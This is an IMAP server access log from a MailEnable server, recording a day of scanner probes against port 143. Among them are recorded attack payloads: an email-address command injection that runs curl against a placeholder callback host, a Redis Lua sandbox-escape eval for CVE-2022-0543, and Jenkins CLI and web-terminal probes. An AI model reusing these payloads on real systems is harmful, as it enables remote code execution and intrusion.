#Software: MailEnable IMAP Server #Version: 1.2 #Date: 08/26/26 00:29:55 #Fields: date time c-ip agent account cs-username s-ip s-port cs-method cs-uristem cs-uriquery s-computername sc-bytes cs-bytes time-taken 26-08-26 02:09:25 118.194.238.196 IMAP-IN - - 85.215.251.124 3980 UNKN STARTTLS a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 02:09:26 118.194.238.196 IMAP-IN - - 85.215.251.124 4004 AUTHENTICATE AUTHENTICATE+NTLM 000b+BAD+Unsupported+command. WIN-RBUO1FA4VBJ 31 24 0 26-08-26 02:09:27 118.194.238.196 IMAP-IN - - 85.215.251.124 4004 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 46 0 26-08-26 03:07:06 64.62.197.17 IMAP-IN - - 85.215.251.124 4092 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 04:13:42 93.123.109.123 IMAP-IN - - 85.215.251.124 3980 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 05:33:56 66.132.195.85 IMAP-IN - - 85.215.251.124 4036 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 06:19:57 205.210.31.250 IMAP-IN - - 85.215.251.124 4068 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-08-26 06:19:57 205.210.31.250 IMAP-IN - - 85.215.251.124 4068 UNKN STARTTLS a002+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 08:59:01 34.78.86.82 IMAP-IN - - 85.215.251.124 3996 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 129 21 0 26-08-26 08:59:08 34.78.86.82 IMAP-IN - - 85.215.251.124 4064 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 18 0 26-08-26 08:59:08 34.78.86.82 IMAP-IN - - 85.215.251.124 4064 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 08:59:08 34.78.86.82 IMAP-IN - - 85.215.251.124 3956 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 126 18 0 26-08-26 08:59:14 34.78.86.82 IMAP-IN - - 85.215.251.124 3980 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-08-26 09:41:30 71.6.241.201 IMAP-IN - - 85.215.251.124 3704 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 79 0 26-08-26 09:41:30 71.6.241.201 IMAP-IN - - 85.215.251.124 3704 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 09:41:30 71.6.241.201 IMAP-IN - - 85.215.251.124 3704 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN 6698b961-c773-430f-b2b4-e63c8f1e7b19 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 09:47:42 71.6.241.201 IMAP-IN - - 85.215.251.124 3708 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN 6698b961-c773-430f-b2b4-e63c8f1e7b19 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 09:47:43 71.6.241.201 IMAP-IN - - 85.215.251.124 4064 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 189 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN a27d69a3-c08b-4fe9-eee1-a8772a9cb8ac Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3684 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 271 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN - Host:85.215.251.124 WIN-RBUO1FA4VBJ 43 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN a27d69a3-c08b-4fe9-eee1-a8772a9cb8ac Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 09:47:45 71.6.241.201 IMAP-IN - - 85.215.251.124 3884 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 09:48:51 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-08-26 09:48:51 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-08-26 09:48:51 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-08-26 09:48:51 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-08-26 09:48:52 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-08-26 09:48:52 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-08-26 09:48:52 71.6.241.201 IMAP-IN - - 85.215.251.124 3876 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 203 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN http://85.215.251.124:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 09:54:33 71.6.241.201 IMAP-IN - - 85.215.251.124 3992 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 11:33:13 209.126.199.139 IMAP-IN - - 85.215.251.124 3620 UNKN /service/extension/backup/mboximport+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 92 0 26-08-26 11:33:13 209.126.199.139 IMAP-IN - - 85.215.251.124 3620 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 11:33:13 209.126.199.139 IMAP-IN - - 85.215.251.124 3620 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN 7c63ccd4-91a4-42e8-ea6f-891a011e42fd Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 4036 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN 7c63ccd4-91a4-42e8-ea6f-891a011e42fd Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 11:39:06 209.126.199.139 IMAP-IN - - 85.215.251.124 3948 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 202 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN 04a21a18-8b5e-440f-830d-7159f26b2157 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN download Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN application/x-www-form-urlencoded Content-Type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN 0 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 11:39:07 209.126.199.139 IMAP-IN - - 85.215.251.124 3548 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN /cli?remoting=false+HTTP/1.1 POST+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 284 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN - +BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 22 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN application/octet-stream Content-type:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 35 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN 04a21a18-8b5e-440f-830d-7159f26b2157 Session:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN upload Side:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN keep-alive Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN 163 Content-Length:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 37 0 0 26-08-26 11:39:08 209.126.199.139 IMAP-IN - - 85.215.251.124 3628 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 11:40:23 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN localhost EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-08-26 11:40:23 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN FROM:+ MAIL+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 35 0 26-08-26 11:40:23 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN TO:+<"aabbb$(curl${IFS}{{interactsh-url}})"@mail.domain.com> RCPT+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 67 0 26-08-26 11:40:24 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN - DATA WIN-RBUO1FA4VBJ 28 6 0 26-08-26 11:40:24 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN - aaa WIN-RBUO1FA4VBJ 27 5 0 26-08-26 11:40:24 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN - - WIN-RBUO1FA4VBJ 25 3 0 26-08-26 11:40:24 209.126.199.139 IMAP-IN - - 85.215.251.124 4072 UNKN - QUIT WIN-RBUO1FA4VBJ 28 6 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN /terminal/ws+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 229 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN ip85-215-251-124.pbiaas.com:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN websocket Upgrade:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 30 0 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN Upgrade Connection:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN dGhlIHNhbXBsZSBub25jZQ== Sec-WebSocket-Key:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 40 0 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN 13 Sec-WebSocket-Version:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 44 0 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN http://ip85-215-251-124.pbiaas.com:143 Origin:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 11:45:52 209.126.199.139 IMAP-IN - - 85.215.251.124 3612 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 14:01:25 195.96.139.101 IMAP-IN - - 85.215.251.124 3612 CAPABILITY CAPABILITY *+CAPABILITY+IMAP4rev1+IMAP4+AUTH=LOGIN+AUTH=CRAM-MD5+IDLE+CHILDREN+XLIST+UIDPLUS+SPECIAL-USE WIN-RBUO1FA4VBJ 125 17 0 26-08-26 14:01:27 195.96.139.101 IMAP-IN - - 85.215.251.124 3612 LOGOUT LOGOUT *+BYE+IMAP4rev1+server+terminating+connection WIN-RBUO1FA4VBJ 73 13 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3700 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3700 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3700 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3700 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3700 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3700 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3520 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3520 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3520 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3520 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3520 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-08-26 16:54:02 3.129.187.38 IMAP-IN - - 85.215.251.124 3520 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 17:23:03 178.62.216.112 IMAP-IN - - 85.215.251.124 4084 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 18:01:39 66.132.172.101 IMAP-IN - - 85.215.251.124 4084 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 19:57:39 165.22.193.249 IMAP-IN - - 85.215.251.124 3624 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 20:31:14 18.218.69.101 IMAP-IN - - 85.215.251.124 3520 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-08-26 20:31:14 18.218.69.101 IMAP-IN - - 85.215.251.124 3520 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 20:31:14 18.218.69.101 IMAP-IN - - 85.215.251.124 3520 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 20:31:14 18.218.69.101 IMAP-IN - - 85.215.251.124 3520 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 20:31:14 18.218.69.101 IMAP-IN - - 85.215.251.124 3520 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-08-26 20:31:14 18.218.69.101 IMAP-IN - - 85.215.251.124 3520 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 20:31:32 18.218.69.101 IMAP-IN - - 85.215.251.124 4084 UNKN /+HTTP/1.1 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 194 0 26-08-26 20:31:32 18.218.69.101 IMAP-IN - - 85.215.251.124 4084 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 20:31:32 18.218.69.101 IMAP-IN - - 85.215.251.124 4084 UNKN visionheight.com/scan+Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_15_7)+Chrome/126.0.0.0+Safari/537.36 User-Agent:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 33 0 0 26-08-26 20:31:32 18.218.69.101 IMAP-IN - - 85.215.251.124 4084 UNKN */* Accept:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 29 0 0 26-08-26 20:31:32 18.218.69.101 IMAP-IN - - 85.215.251.124 4084 UNKN gzip Accept-Encoding:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 38 0 0 26-08-26 20:31:32 18.218.69.101 IMAP-IN - - 85.215.251.124 4084 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 20:38:09 71.6.240.105 IMAP-IN - - 85.215.251.124 3756 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-26 20:38:21 71.6.240.105 IMAP-IN - - 85.215.251.124 3636 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-26 20:43:04 71.6.240.105 IMAP-IN - - 85.215.251.124 3372 UNKN - SKYSEA WIN-RBUO1FA4VBJ 30 8 0 26-08-26 20:47:06 66.132.172.37 IMAP-IN - - 85.215.251.124 5056 UNKN STARTTLS a001+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 15 0 26-08-26 20:49:19 71.6.240.105 IMAP-IN - - 85.215.251.124 5284 UNKN - SSH-2.0-OpenSSH_8.0 WIN-RBUO1FA4VBJ 43 21 0 26-08-26 20:51:54 71.6.240.105 IMAP-IN - - 85.215.251.124 5744 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-26 20:54:38 71.6.240.105 IMAP-IN - - 85.215.251.124 5488 UNKN nuclei.local EHLO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 19 0 26-08-26 20:55:49 71.6.240.105 IMAP-IN - - 85.215.251.124 6096 UNKN ClueCon auth+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 16 0 26-08-26 20:55:49 71.6.240.105 IMAP-IN - - 85.215.251.124 6096 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 20:55:59 71.6.240.105 IMAP-IN - - 85.215.251.124 6100 UNKN - SSH-2.0-NucleiScanner WIN-RBUO1FA4VBJ 45 23 0 26-08-26 20:59:08 71.6.240.105 IMAP-IN - - 85.215.251.124 5460 UNKN /+HTTP/1.0 GET+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 25 44 0 26-08-26 20:59:08 71.6.240.105 IMAP-IN - - 85.215.251.124 5460 UNKN 85.215.251.124:143 Host:+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 27 0 0 26-08-26 20:59:08 71.6.240.105 IMAP-IN - - 85.215.251.124 5460 UNKN - - WIN-RBUO1FA4VBJ 24 0 0 26-08-26 21:02:17 71.6.240.105 IMAP-IN - - 85.215.251.124 5692 UNKN - SSH-2.0-OpenSSH_scanner WIN-RBUO1FA4VBJ 47 25 0 26-08-26 21:03:00 71.6.240.105 IMAP-IN - - 85.215.251.124 4984 UNKN - - WIN-RBUO1FA4VBJ 24 2 0 26-08-26 21:10:35 71.6.240.105 IMAP-IN - - 85.215.251.124 6084 UNKN 'local+io_l+=+package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",+"luaopen_io");+local+io+=+io_l();+local+f+=+io.popen("echo+FIRE-CVE-2022-0543-CONFIRMED",+"r");+local+res+=+f:read("*a");+f:close();+return+res'+0 eval+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 227 16 26-08-26 21:10:47 71.6.240.105 IMAP-IN - - 85.215.251.124 5232 UNKN - PING WIN-RBUO1FA4VBJ 28 6 0 26-08-26 21:10:47 71.6.240.105 IMAP-IN - - 85.215.251.124 5232 UNKN server INFO+BAD+UNKNOWN+Command WIN-RBUO1FA4VBJ 26 13 0 26-08-26 21:12:24 71.6.240.105 